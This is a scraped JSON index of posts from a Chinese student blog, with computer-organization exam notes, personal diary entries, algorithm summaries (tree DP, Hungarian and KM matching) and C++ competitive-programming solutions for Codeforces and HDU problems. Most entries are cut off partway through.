操作数寻址方式：直接寻址，寄存器相对寻址，寄存器间接寻址，基指+变址等 为什么多种寻址方式：效率和方便性上达到平衡，满足各种需要。 RISC指令系统特点： 指令系统简单，指令条数少； 寻址方式少； 指令格式简单，指令长度固定 cpu中设置大量寄存器以减少对存储器的访问。 **cache的工作原理： 当cpu访问的内存地址给出后，该地址先与相连存储器中存放的地址比较， 判定要访问的字是否在Cache中，在则访问Cache，称为命中； 不在则访问主存，称为未命中。 命中时需要先产生访问Cache的地址 未命中时根据cpu给出的地址访问主存。 第六章 中央控制器的主要功能： 指令序列控制 操作控制 时间控制 程序计数器（PC):给出下条指令在存储器中的地址。 指令寄存器（IR):用来保存当前正在执行的指令。 地址寄存器（AR):用来保存当前所访问的内存地址。 指令功能译码器（ID):对当前要执行的指令进行译码分析并指出指令功能。 操作控制器（OC):产生控制信号的功能部件。 根据设计方式的不同，OC分为硬布线控制器和微程序控制器。 硬布线控制器的核心部件：操作控制器。 时序产生器（TG):用来产生时序信号。 控制方式： 同步控制方式：选取执行部件中最长操作时间作为统一的时间标准。 异步控制方式：每条指令需要多少时间就给多少时间。 联合控制方式：同步异步相结合。 微程序控制器：用微程序方式设计的操作控制器。 微命令：在微程序控制的计算器中，打开或关闭控制门的控制信号。 微操作：微命令控制执行部件进行的操作。 *微（指令）周期：从存储器取出并执行一条微指令需要的时间。 微命令的表示： 直接表示法 编码表示法 混合表示法（前两种","date":"2016-06-13","externalUrl":null,"permalink":"/2016/06/%e5%8d%8e%e7%a7%91%e8%bd%af%e9%99%a2%e8%ae%a1%e7%bb%84%e6%a6%82%e5%bf%b5%e5%a4%8d%e4%b9%a0/","section":"Posts","summary":"noip初赛加强版既视感… 自己手动整理的 第二章 机器数：正负符号数码化后的数据称为机器数。 BCD码：用二进制编码的十进制数称为bcd码。 有权码：每位二进制数码元都有确定权值的编码。 校验码：为了发现或纠正数据传送中出现错误的编码。 浮点数的精度由尾数的位数决定。 第三章 溢出：运算结果超出了机器能表示的数据范围。 溢出的特征：结果的符号与操作数的符号不同。 变形补码：两个符号位的补码（用来检测溢出，00,11说明没有溢出，10,01说明有溢出） 对阶：使阶码相等的过程（原则是小阶码向大阶码看齐） 结果规格化：将非规格化数处理为规格化形式。","tags":["计组"],"title":"华科软院计组概念复习","type":"post"},{"categories":["随笔杂谈"],"content":"最近睡眠特别差… 一睡能睡18个小时。。。醒了之后依旧头疼。。。 一直在做乱七八糟的梦… 除了那种特别恶劣的噩梦…就是特别让人感到委屈的梦… 比如小学某次老师提问古诗，我在梦里都不会背错的一句，然后就偏说我错了╭(╯^╰)╮ 然而正确答案和我背的没区别啊。。。。还被罚写20遍。。。。妈蛋 诸如这种，委屈+max 然后不知道是不是之前用力过猛（？ 明显觉得没力气了 可是明明还有一堆考试还有OS课设以及实训… 就感觉特别没力气 休息不过来的感觉… sad","date":"2016-06-11","externalUrl":null,"permalink":"/2016/06/kk-is-salty-fish/","section":"Posts","summary":"最近睡眠特别差… 一睡能睡18个小时。。。醒了之后依旧头疼。。。","tags":["算法竞赛"],"title":"差不多是条咸鱼了","type":"post"},{"categories":["ACM"],"content":"cf660C solution:ruler.1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月08日 星期三 23时43分18秒 4File Name :code/cf/problem/660C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E5+7; 34int n,k; 35int sum[N],a[N]; 36 37void ruler() 38{ 39 int head = 1; 40 int tail = 1; 41 int l,r; 42 int res = -1; 43 int cnt = 0 ; 44 45 while (tail\u003c=n) 46 { 47 while (a[tail]==1) tail++; 48// cout\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003c\" tail:\"\u003c\u003ctail\u003c\u003cendl; 49 if (a[tail]==0\u0026\u0026tail\u003c=n) cnt++; 50 51 while (sum[tail]-sum[head-1]\u003c=k\u0026\u0026tail\u003c=n) tail++; 52// cout\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003c\"tail:\"\u003c\u003ctail\u003c\u003cendl; 53 if (tail-head\u003eres) 54 { 55 res = tail-head; 56 // cout\u003c\u003c\"res:\"\u003c\u003cres\u003c\u003cendl; 57 l = head; 58 r = tail-1; 59 } 60 61 while (head\u003c=tail\u0026\u0026sum[tail]-sum[head-1]\u003ek) head++; 62// cout\u003c\u003c\"head::\"\u003c\u003chead\u003c\u003c\" tail:\"\u003c\u003ctail\u003c\u003cendl; 63 if (tail\u003c=n\u0026\u0026tail-head+1\u003eres) 64 { 65 res = tail-head+1; 66 l = head; 67 r = tail; 68 } 69 70 71 } 72 73 74 for ( int i = l ; i \u003c= r ; i++) a[i] = 1; 75 76 cout\u003c\u003cres\u003c\u003cendl; 77 for ( int i = 1 ; i \u003c= n ; i++) cout\u003c\u003ca[i]\u003c\u003c\" \"; 78} 79int main() 80{ 81 #ifndef ONLINE_JUDGE 82 freopen(\"code/in.txt\",\"r\",stdin); 83 #endif 84 85 cin\u003e\u003en\u003e\u003ek; 86 87 sum[0] = 0; 88 for ( int","date":"2016-06-08","externalUrl":null,"permalink":"/2016/06/codeforces-660-c-hard-process-ruler/","section":"Posts","summary":"cf660C solution:ruler.1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月08日 星期三 23时43分18秒 4File Name :code/cf/problem/660C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E5+7; 34int n,k; 35int sum[N],a[N]; 36 37void ruler() 38{ 39 int head = 1; 40 int tail = 1; 41 int l,r; 42 int res = -1; 43 int cnt = 0 ; 44 45 while (tail\u003c=n) 46 { 47 while (a[tail]==1) tail++; 48// cout\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003c\" tail:\"\u003c\u003ctail\u003c\u003cendl; 49 if (a[tail]==0\u0026\u0026tail\u003c=n) cnt++; 50 51 while (sum[tail]-sum[head-1]\u003c=k\u0026\u0026tail\u003c=n) tail++; 52// cout\u003c\u003c\"head:\"\u003c\u003chead\u003c\u003c\"tail:\"\u003c\u003ctail\u003c\u003cendl; 53 if (tail-head\u003eres) 54 { 55 res = tail-head; 56 // cout\u003c\u003c\"res:\"\u003c\u003cres\u003c\u003cendl; 57 l = head; 58 r = tail-1; 59 } 60 61 while (head\u003c=tail\u0026\u0026sum[tail]-sum[head-1]\u003ek) head++; 62// cout\u003c\u003c\"head::\"\u003c\u003chead\u003c\u003c\" tail:\"\u003c\u003ctail\u003c\u003cendl; 63 if (tail\u003c=n\u0026\u0026tail-head+1\u003eres) 64 { 65 res = tail-head+1; 66 l = head; 67 r = tail; 68 } 69 70 71 } 72 73 74 for ( int i = l ; i \u003c= r ; i++) a[i] = 1; 75 76 cout\u003c\u003cres\u003c\u003cendl; 77 for ( int i = 1 ; i \u003c= n ; i++) cout\u003c\u003ca[i]\u003c\u003c\" \"; 78} 79int main() 80{ 81 #ifndef ONLINE_JUDGE 82 freopen(\"code/in.txt\",\"r\",stdin); 83 #endif 84 85 cin\u003e\u003en\u003e\u003ek; 86 87 sum[0] = 0; 88 for ( int i = 1; i \u003c= n ; i++) 89 { 90 scanf(\"%d\",\u0026a[i]); 91 sum[i] = sum[i-1] +(1-a[i]); 92 } 93 94 ruler(); 95 96 97 #ifndef ONLINE_JUDGE 98 fclose(stdin); 99 #endif 100 return 0; 101}","tags":["尺取法"],"title":"codeforces 660 C. Hard Process (ruler)","type":"post"},{"categories":["ACM"],"content":"树，一种十分优美的数据结构，因为它本身就具有的递归性，所以它和子树见能相互传递很多信息，还因为它作为被限制的图在上面可进行的操作更多，所以各种用于不同地方的树都出现了，二叉树、三叉树、静态搜索树、AVL树，线段树、SPLAY树，后缀树等等.. 枚举那么多种数据结构只是想说树方面的内容相当多，本专辑只针对在树上的动态规划，即树形DP.做树形DP一般步骤是先将树转换为有根树，然后在树上进行深搜操作，从子节点或子树中返回信息层层往上更新至根节点。这里面的关键就是返回的信息部分，这个也没一般性的东西可讲，因为每道题目要求做的事都不尽相同。 这个专辑暂时氛围3哥部分，分的可能不是很好，后面题目做多了理解更深了可能会更改，但那都是后话了。 一、常规树形DP # 1、 Hdu 1520 Anniversary party 每个节点有权值，子节点和父节点不能同时选，问最后能选的最大价值是多少？解题报告Here 2、Hdu 2196 Computer 经典题，求树每个点到其他点的最远距离，转化为有根树，深搜两次，一次记录到叶子的最远距离，一次更新最终答案。解题报告Here 3、Poj 1741 Tree(难) 经典题，求树上两点间距离小等于K的方案数，树上分治。解题报告Here 4、Poj 2152 Fire（难） 罕见的O(n^2)的树形DP，在树上建消防站，要求每个节点离最近的消防站距离小于K,问最小花费。解题报告Here 5、Poj 3162 Walking Race（难） 树形DP找最远距离+线段树查询最大最小值，然后再维护两个指针遍历整个序列。解题报告Here 6、cf 218D. Choosing Capital for Treeland 把边方向转变成边权，正向为0，反向为1.经过转换，问题变成求某点为根到所有点的边权总和，求边权总和最小的那些点。 二、树形背包问题(在树上进行分组背包处理) # 1、Poj 1155 TELE 把每个节点的子节点看成一组背包，最大容量是这点的叶子子孙数量，选几个节点就是选择的容量，价值就是用户给的Money-中转费用。解题报告Here 2、Hdu 1011 Starship Troopers 和上题相似，要选择父节点必先子节点，特判m为0的时候。 3、Poj 1947 Rebuilding Roads 求最少删除几条边使得子树节点个数为p，具体的模型和上题很像。解题报告Here 4、Hdu 1561 The more, The Better 在一棵树上选择若干个点获得的最大价值，选子节点必须先选父节点，求解情况和上两题相同。解题报告Here 5、Hdu 4003 Find Metal Mineral (推荐，好题) 树形DP+选且只能选一个物品的分组背包，状态转移方程难想。解题报告here 6、Poj 2486 Apple Tree 树形DP+分组背包，但是状态转移方程要分三步，较为难想。解题报告Here 7、Poj 3345 Bribing FIPA 树形DP+分组背包，和前面几题相比没有特殊的地方，只是要注意输入。具体可见**Here** 8、Hdu 4044 GeoDefense 树形DP+分组背包,要求从每个儿子结点获取最小的hp，然后找这些儿子的最大组合，不是特别好想。解题报告见Here 9、Zoj 3627 Treasure Hunt II 树形DP +分组背包，浙大月赛的水题，很普通的树形背包。 10、4276 The Ghost Blows Light 有两种写法，一种是把一棵树压缩成一条链，然后在链上DP，一种和 Apple tree差不多，具体见Here 三、删点或者删边类树形DP # 1、Hdu 3586 Information Disturbing 二分Upper power limit，然后从叶子节点向上更新，边权与limit比较再进行状态转移。解题报告Here 2、Poj 3107 Godfather 删点，使剩下的分支中最大的节点数最小，深搜一次记录到叶子节点距离，再进行枚举求最大值，再更新答案。解题报告Here 3、Poj 2378 Tree Cutting 删点，使剩下的分支中有最大节点数的分支小等于总数一半，问有几种方案，和上题差不多。解题报告Here 4、Poj 16","date":"2016-06-05","externalUrl":null,"permalink":"/2016/06/dp/","section":"Posts","summary":"树，一种十分优美的数据结构，因为它本身就具有的递归性，所以它和子树见能相互传递很多信息，还因为它作为被限制的图在上面可进行的操作更多，所以各种用于不同地方的树都出现了，二叉树、三叉树、静态搜索树、AVL树，线段树、SPLAY树，后缀树等等.. 枚举那么多种数据结构只是想说树方面的内容相当多，本专辑只针对在树上的动态规划，即树形DP.做树形DP一般步骤是先将树转换为有根树，然后在树上进行深搜操作，从子节点或子树中返回信息层层往上更新至根节点。这里面的关键就是返回的信息部分，这个也没一般性的东西可讲，因为每道题目要求做的事都不尽相同。","tags":["算法竞赛"],"title":"（转）树形dp题目集","type":"post"},{"categories":["ACM"],"content":"学完了km..感觉匈牙利真是非常的。。easy… 匈牙利算法学习链接 有一种题目会用1*2的小格子填充大的，问能不能填满之类的，可以用匈牙利搞。hdu 4185解题报告 poj2446解题报告 其实主要是关于建图的启示，上面两个题，还有这道题： poj1325解题报告 还有就是一些有用的结论： **(1)二分图的最小顶点覆盖 ** 最小顶点覆盖要求用最少的点（X或Y中都行），让每条边都至少和其中一个点关联。 Knoig定理：二分图的最小顶点覆盖数等于二分图的最大匹配数。 (2)DAG图的最小路径覆盖 用尽量少的不相交简单路径覆盖有向无环图(DAG)G的所有顶点，这就是DAG图的最小路径覆盖问题。 结论：DAG图的最小路径覆盖数 = 节点数（n）- 最大匹配数（m） (3)二分图的最大独立集 最大独立集问题： 在Ｎ个点的图G中选出m个点，使这m个点两两之间没有边．求m最大值 结论：二分图的最大独立集数 = 节点数（n）— 最大匹配数（m） 还有一个比较常用的角度：n个数的某种排列，可以看做是一个位置集合{1..n}和数字集合{1..n}的二分图最大匹配。可以用来剪枝什么的。hdu3225解题报告","date":"2016-06-05","externalUrl":null,"permalink":"/2016/06/%e5%8c%88%e7%89%99%e5%88%a9%e7%ae%97%e6%b3%95%e6%80%bb%e7%bb%93/","section":"Posts","summary":"学完了km..感觉匈牙利真是非常的。。easy… 匈牙利算法学习链接","tags":["匈牙利算法"],"title":"匈牙利算法总结","type":"post"},{"categories":["ACM"],"content":"km算法我的理解 刷了不到20道题。。。回来总结一发。。 如果题目求的是最小权值匹配，比较好的做法是将权值取取值，最后res再取负就好。需要注意的是初始化的时候w和lx要比所有值都小，所以要ms(lx,0xc0) 最正确解最小权匹配的办法是用一个很大的数-当前边权值，而不是直接对边权取反(这样只能处理左右点相等的完全二分图，即K(n, n)(bin神博客看到的) 有时候需要考虑无解的情况，一般如果有无解的情况，对应了存在lx[i]=初始化的值。 不少题目有一个点都是先用一种暴力或者不暴力的方法处理出w,然后裸的km hdu3722解题报告 有向图的覆盖可以对应二分图最佳匹配的模型，用km算法搞 hdu1853解题报告 遇到了一种题是之前有一些已经安排好了，然后仍然求最优匹配，并且尽可能少得改变原有的安排。hdu2853解题报告 不得不说做法很厉害。 还有一些网络流的题似乎也可以转化成km来做，打算先去搞一发网络流再去A. 这些题里就两个比较好，一个是对于有向环覆盖的，第一次遇到真想不到，还有一个就是那个权值×k的。。。佩服。。。 其他的都是套路。","date":"2016-06-05","externalUrl":null,"permalink":"/2016/06/km/","section":"Posts","summary":"km算法我的理解 刷了不到20道题。。。回来总结一发。。","tags":["KM"],"title":"KM算法总结","type":"post"},{"categories":["随笔杂谈"],"content":"妈呀。。。6天之后两门考试。。。计组+OS…害怕。。。。 小可开始刷神题了orz… 一个只有40+人过的神级状压dp…吓傻了。。 毕竟小可啊，要是有她一半实力就满足了orz… 然后大物。。。重修。。因为没去过。。。所以没有考试资格。。。？？？卧槽。。。。 正在想办法补救。。打算把作业都补好然后去找老师。。。 然后手头还有一个软件工程大作业，然后大作业之后就是考试。。。然后考完还有一个课设。。然后还有一个工程实训。。。。妈蛋。。。 大一什么的。。。不堪回首。。。什么都没做。。。哦也不是，要说做了什么，就是大一下所有科目差不多都挂了（手动微笑）。。。还差点死了2333 所以我之后的日子有多少，都是因为大一下那一学期。。。。 算了不提，好歹活到了现在，应该心怀感激才对吧。 倒也没什么压力，就是有点烦。。。 其实这学期还是进步得比较多的。。。？虽然说好的这学期学数学。。。买了《组合数学》在看，以及叉姐在知乎上推荐的某数论电子版。。。然而组合数学只看了排列组合，抽屉原理，容斥原理，母函数就没看了。。。数论。。。似乎也没看多少。。。？ 基本都是比赛倒向型了。。。每次比赛卡什么题目就去学什么。。。 所以这学期大概学了：区间莫队。。。母函数。。。数位dp。。。LCA的离线写法。。容斥。。。动态连通性的低配版。。。manacher…..（kmp还是没看懂orz）.。。。rmq。。。lca的在线写法。。。匈牙利。。。KM…. 主要就这些。。其他都是些小东西了。。。这么一列好像又挺少的。。。 然后最大的收货大概是之前有一个误区。。。。之前有点太在意cf rating了。。。 我觉得我是不太适合打cf的。。。之前也补了好多题。。但是cf rating却也不见长。。也别无力。。。 这学期基本没打cf。。。还是刷专题比较重要。。。。 感觉刷专题就像高一高二学习知识一样。。。。cf嘛。。。更像高三的时候做的事也许？ 嘛，有的人说cf是为了保持比赛的感觉。。。。平时的比赛还是挺多的。。。所以也不会缺这个感觉。 祝我平安度过这个月。。。 然后暑假，干他丫的！","date":"2016-06-05","externalUrl":null,"permalink":"/2016/06/20160605/","section":"Posts","summary":"妈呀。。。6天之后两门考试。。。计组+OS…害怕。。。。","tags":["算法竞赛"],"title":"20160605随笔","type":"post"},{"categories":["ACM"],"content":"hdu 3523 题目链接 题意：有m个排列，每个排列有n个，然后要找一个长度为n的排列（1..n每个数字恰好出现一次），使得这个排列到其他m个排列的距离之和最小。 两个排列之间的距离是对应位置上数字差的绝对值的和。 思路：妈蛋，什么鬼题面。。。看不懂。。。然后看了题解。。。知道了题意。。 的的确确做过相当类似的一道呢。 先nnn的复杂度(1E6)处理权值，然后KM. 1A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月03日 星期五 19时34分36秒 4File Name :code/hdu/3523.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n,m; 35int a[N][N]; 36int w[N][N]; 37 38int lx[N],ly[N]; 39int link[N]; 40bool visx[N],visy[N]; 41int slk[N]; 42 43bool find( int u) 44{ 45 visx[u] = true; 46 for ( int v = 1 ; v \u003c= n ; v++) 47 { 48 if (visy[v]) continue; 49 int tmp = lx[u] + ly[v] - w[u][v]; 50 if (tmp==0) 51 { 52 visy[v] = true; 53 if (link[v]==-1||find(link[v])) 54 { 55 link[v] = u; 56 return true; 57 } 58 }else if (tmp\u003cslk[v]) slk[v] = tmp; 59 } 60 61 return false; 62} 63int KM() 64{ 65 66 ms(link,-1); 67 ms(lx,0xc0); 68 ms(ly,0); 69 70 for ( int i = 1 ; i \u003c= n ; i++) 71 for ( int j = 1 ; j \u003c= n ; j++) 72 lx[i] = max(lx[i],w[i][j]); 73 74 75 for ( int i = 1 ; i \u003c= n ; i++) 76 { 77 ms(slk,0x3f); 78 79 while (1) 80 { 81 ms(visx,false); 82 ms(visy,false); 83 84 if (find(i)) break; 85 86 int d = inf; 87 88 for ( int j = ","date":"2016-06-03","externalUrl":null,"permalink":"/2016/06/hdu-3523/","section":"Posts","summary":"hdu 3523 题目链接 题意：有m个排列，每个排列有n个，然后要找一个长度为n的排列（1..n每个数字恰好出现一次），使得这个排列到其他m个排列的距离之和最小。 两个排列之间的距离是对应位置上数字差的绝对值的和。","tags":["KM","二分图最佳匹配"],"title":"HDU 3523 Image copy detection (二分图最佳匹配，KM算法，题意杀)","type":"post"},{"categories":["ACM"],"content":"hdu3315 题目链接 题意：两个人分别各有n个怪物。进行n场pk.每只怪物必须恰好进行一场pk.如果先手的第i只怪物赢，会获得v[i]的val,输会减少v[i]的val.给出两个人n只怪物的血量和攻击力。先手的初始战斗顺序为1,2,3..n（后手的战斗顺序一直都是1,2,3..n) 现在问能否通过调整顺序使得先手获得的val最大，如果这个val大于0，表示先手可以赢。如果可以赢，那么还要求调整后的顺序和原始顺序的相似度，并且使得相似度尽可能大（If there are multiple orders, you should choose the one whose order changes the least from the original one） 思路：先根据血量和攻击力，n*n的时间处理出每场战斗的输赢信息，然后结合v[i]，得到每两个怪物战斗的先手得到的val的值。 然后和hdu 1853类似，依然希望尽可能多的安排不改变。 我们的做法仍然是把w*N,然后钦定的w再+1 然后改变个数，由于存在负数。。。和hdu 1853的处理有区别。。。 想了一下。。。其实用link数组对照初始钦定顺序就好了啊。。。 1A.爽上天。。。 最近各种1A…？好开心。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月03日 星期五 15时46分12秒 4File Name :code/hdu/3315.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35int val[N]; 36int h[N],p[N],a[N],b[N]; 37int win[N][N]; 38int w[N][N]; 39int lx[N],ly[N]; 40bool visx[N],visy[N]; 41int link[N]; 42int slk[N]; 43int num; 44 45 46bool find( int u) 47{ 48 visx[u] = true; 49 for ( int v = 1 ; v \u003c= n ; v++) 50 { 51 if (visy[v]) continue; 52 int tmp = lx[u] + ly[v] - w[u][v]; 53 if (tmp==0) 54 { 55 visy[v] = true; 56 57 if (link[v]==-1||find(link[v])) 58 { 59 link[v] = u; 60 return true; 61 } 62 }else if (tmp","date":"2016-06-03","externalUrl":null,"permalink":"/2016/06/hdu-3315/","section":"Posts","summary":"hdu3315 题目链接 题意：两个人分别各有n个怪物。进行n场pk.每只怪物必须恰好进行一场pk.如果先手的第i只怪物赢，会获得v[i]的val,输会减少v[i]的val.给出两个人n只怪物的血量和攻击力。先手的初始战斗顺序为1,2,3..n（后手的战斗顺序一直都是1,2,3..n) 现在问能否通过调整顺序使得先手获得的val最大，如果这个val大于0，表示先手可以赢。如果可以赢，那么还要求调整后的顺序和原始顺序的相似度，并且使得相似度尽可能大（If there are multiple orders, you should choose the one whose order changes the least from the original one）","tags":["KM算法","二分图最佳匹配"],"title":"hdu 3315 My Brute （二分图最佳匹配,KM算法）","type":"post"},{"categories":["ACM"],"content":"hdu 2853题目链接 题意：n个公司，m个任务（m\u003e=n),一个公司只能对应一个任务，一个任务也只能对应一个公司。给出一个n*m的mat,表示每个公司对应每个任务产生的val。 然后给出n个数，表示初始钦定（雾）这n个公司分别做哪些任务。 但是可能初始的安排得到的val表示最大的。我们现在想得到最大的val,并且保证改变的安排数最少。求安排后得到的 val比初始安排大多少，以及需要改变的安排数量。 思路：最大val很好求，KM就好。。。但是，怎么才能保证改变的安排数最少呢？ 尤其是当两个安排val一样的时候，如何才能保证优先选已经安排好的，而不取选另一个呢？ 并没有想出来，看了题解T T 太神辣。 由于KM算法会根据权值来选取，权值大的会优先。 如果我们把每个权值*k(k\u003en)，然后对于已经钦定的安排，每个权值再+1. 这样，钦定的安排就会有更高的优先级，最后统计的时候除以k,那么权值答案不会有影响（利用到了初等数论的整除知识。。。？） 然后这样做该有一个好处。 不除以k的权值和再模k,就是没有改变的安排数。 原因是由于没有钦定的安排的权值每个都乘了k,最后%k都为0，只有那些钦定的安排每个会贡献1. 又由于k\u003en,这样就保证了正确性。 这做法太神了。。。。。吓傻了。。。。 我试着推广一下。。。？ 对于根据权值来决定优先顺序，但是权值相同的时候还是需要对一些赋有更高的优先权的模型。。。？ 除了再增加一维的大家都能想到的做法。。。这样的做法是不是有通用性呢。。。？ 做法太神，我得慢慢体会。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月03日 星期五 14时35分46秒 4File Name :code/hdu/2853.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N = 55; 34int n,m; 35int w[N][N]; 36int id[N]; 37int lx[N],ly[N]; 38int link[N]; 39bool visx[N],visy[N]; 40int slk[N]; 41int num; 42 43bool find( int u) 44{ 45 visx[u] = true; 46 47 for ( int v = 1 ; v \u003c= m ;v++) 48 { 49 if(visy[v]) continue; 50 int tmp = lx[u] + ly[v] - w[u][v]; 51 52 if (tmp==0) 53 { 54 visy[v] = true; 55 56 if (link[v]==-","date":"2016-06-03","externalUrl":null,"permalink":"/2016/06/hdu-2853/","section":"Posts","summary":"hdu 2853题目链接 题意：n个公司，m个任务（m\u003e=n),一个公司只能对应一个任务，一个任务也只能对应一个公司。给出一个n*m的mat,表示每个公司对应每个任务产生的val。 然后给出n个数，表示初始钦定（雾）这n个公司分别做哪些任务。 但是可能初始的安排得到的val表示最大的。我们现在想得到最大的val,并且保证改变的安排数最少。求安排后得到的 val比初始安排大多少，以及需要改变的安排数量。","tags":["KM","number theory","二分图最佳匹配"],"title":"hdu 2853 Assignment (二分图最佳匹配，KM算法+数论，做法太神)","type":"post"},{"categories":["ACM"],"content":"hdu2448 题目链接 题意：n个船n个港口，一个港口只能承接一个船，m个油田，给出n个船各自在哪个油田，然后给出m个油田之间的无相图，然后给出油田和港口之间的有向图。求n个船到达港口的最小距离之和。 思路：想到了用floyd先更新一下距离，然后KM.不过思维不够严谨，只更新了港口通过油田到达油田的距离，而没有更新油田通过油田到达油田的距离QAQ. 所以应该先更新油田通过油田到达油田的距离，然后再更新港口通过油田到达油田的距离。。。 哦，还有。。。不要把n个船所对应的港口作为下标。。而是转化成1..n，这样写KM里会比较好写。。。不然总得带着那个id[i]. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年06月03日 星期五 03时07分16秒 4File Name :code/hdu/2448.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=205; 34int n,m,k,p; 35int id[N]; 36int a[N][N],b[N][N]; 37int lx[N],ly[N]; 38int link[N]; 39bool visx[N],visy[N]; 40int slk[N]; 41int w[N][N]; 42 43bool find( int u) 44{ 45 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 46 visx[u] = true; 47 48 for ( int v = 1 ; v \u003c= n ; v++) 49 { 50 if (visy[v]) continue; 51 int tmp = lx[u] + ly[v] - w[u][v]; 52 if (tmp==0) 53 { 54 visy[v] = true; 55 if (link[v]==-1||find(link[v])) 56 { 57 link[v] = u; 58 return true; 59 } 60 }else if(tmp\u003cslk[v]) slk[v] = tmp; 61 } 62 return false; 63} 64LL KM() 65{ 66 ms(link,-1); 67 ms(lx,0xc0); 68 ms(ly,0); 69 70 for ( int i = 1 ; i \u003c= n ; i++) 71 for ( int j = 1 ; j \u003c= n ; j++) 72 lx[i] = max(lx[i],w[i][j]); 73 74 75 for ( int i = 1 ; i \u003c= n ; i++) 76 { 77 ","date":"2016-06-02","externalUrl":null,"permalink":"/2016/06/hdu-2448/","section":"Posts","summary":"hdu2448 题目链接 题意：n个船n个港口，一个港口只能承接一个船，m个油田，给出n个船各自在哪个油田，然后给出m个油田之间的无相图，然后给出油田和港口之间的有向图。求n个船到达港口的最小距离之和。","tags":["floyd","KM","二分图最佳匹配"],"title":"hdu 2448 Mining Station on the Sea (floyd+KM)","type":"post"},{"categories":["ACM"],"content":"hdu 